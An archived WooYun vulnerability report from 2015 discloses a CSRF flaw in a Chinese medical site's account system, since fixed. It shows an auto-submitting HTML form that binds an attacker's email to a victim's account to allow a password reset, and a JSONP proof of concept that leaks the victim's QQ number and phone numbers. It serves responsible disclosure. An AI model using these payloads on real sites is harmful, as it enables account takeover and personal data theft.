破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

寻医问药可劫持重置任意用户帐号密码

编号124033
Urlhttp://www.wooyun.org/bug.php?action=view&id=124033
漏洞状态厂商已经修复
漏洞标题寻医问药可劫持重置任意用户帐号密码
漏洞类型CSRF
厂商寻医问药
白帽子jeary
提交日期2015-07-02 10:22:00
公开日期2015-08-14 09:35:00
修复时间2015-08-14 09:35:00
确认时间2015-07-02 00:00:00
Confirm Spend0
漏洞标签敏感接口缺乏校验 csrf漏洞利用 csrf csrf利用技巧
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank12
漏洞简介
之前用敏感接口的问题可以与用户交互获取密码进入账号,然而已经修复了,可这还是无法阻止我进入他人的账号~
漏洞细节

由于寻医问药全站都没有防止CSRF,就在我以为敏感操作被被我提交得差不多的时候,我看见了账号认证这个功能。

111.jpg


这个发送认证邮件是存在CSRF的,导致可以绑定攻击者的邮箱,然后即可重置密码。
请求如下:

POST /ajax/sendMail.php HTTP/1.1
[email protected]&oldemail=*********@qq.com


一开始我以为如果用户绑定过邮箱,我就必须得找到用户使用的邮箱,这样就略显鸡肋的,我还特地找了办法来劫持获取邮箱,经过测试后发现oldemail是多余的,删除此参数,依然可以发送认证邮件。
POC:(oldEmail已经注释了)

<html>
<body>
<form action="http://user.app.xywy.com/ajax/sendMail.php" method="POST">
<input type="hidden" name="newemail" value="[email protected]" />
<!--<input type="hidden" name="oldemail" value="*********@qq.com" /> -->
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>


(POC访问效果去证明看图~~)
PS:虽然这里不需要知道用户使用的当前邮箱账号,不过既然找到了,顺便发出来~~
这里使用接口获取用户邮箱、手机号、邮箱,在需要oldmail的情况下可以将两个POC改一下写在一起。

<!DOCTYPE html>
<html>
<head>
<script src="https://code.jquery.com/jquery-1.9.1.min.js"></script>
<meta charset="GBK">
<title>POC</title>
</head>
<body>
<p>result:</p>
<script>
$.getJSON('http://ucenter.xywy.com/index.php?act=api_data&apitype=left&callback=?',function(json){
document.body.appendChild(document.createElement('p')).innerHTML=json.content.qq+"<br/>"+json.content.phone+"<br/>"+json.content.telephone;
;
})
</script>
</body>
</html>


效果:

03.jpg

POC

02.jpg


然后点击邮箱里的链接即可绑定攻击者的邮箱,然后去使用忘记密码功能重置密码即可。
危害较大,求不小厂商~~

修复方案

1.token
2.referer
3.callback

状态信息 2015-07-02: 细节已通知厂商并且等待厂商处理中
2015-07-02: 厂商已经确认,细节仅向厂商公开
2015-07-12: 细节向核心白帽子及相关领域专家公开
2015-07-22: 细节向普通白帽子公开
2015-08-01: 细节向实习白帽子公开
2015-08-14: 厂商已经修复漏洞并主动公开,细节向公众公开
厂商回复对于那些表面存在然而实际并没卵用的前端验证防御机制我也是醉了,一定严肃处理。。
回应信息危害等级:高漏洞Rank:12 确认时间:2015-07-02 10:31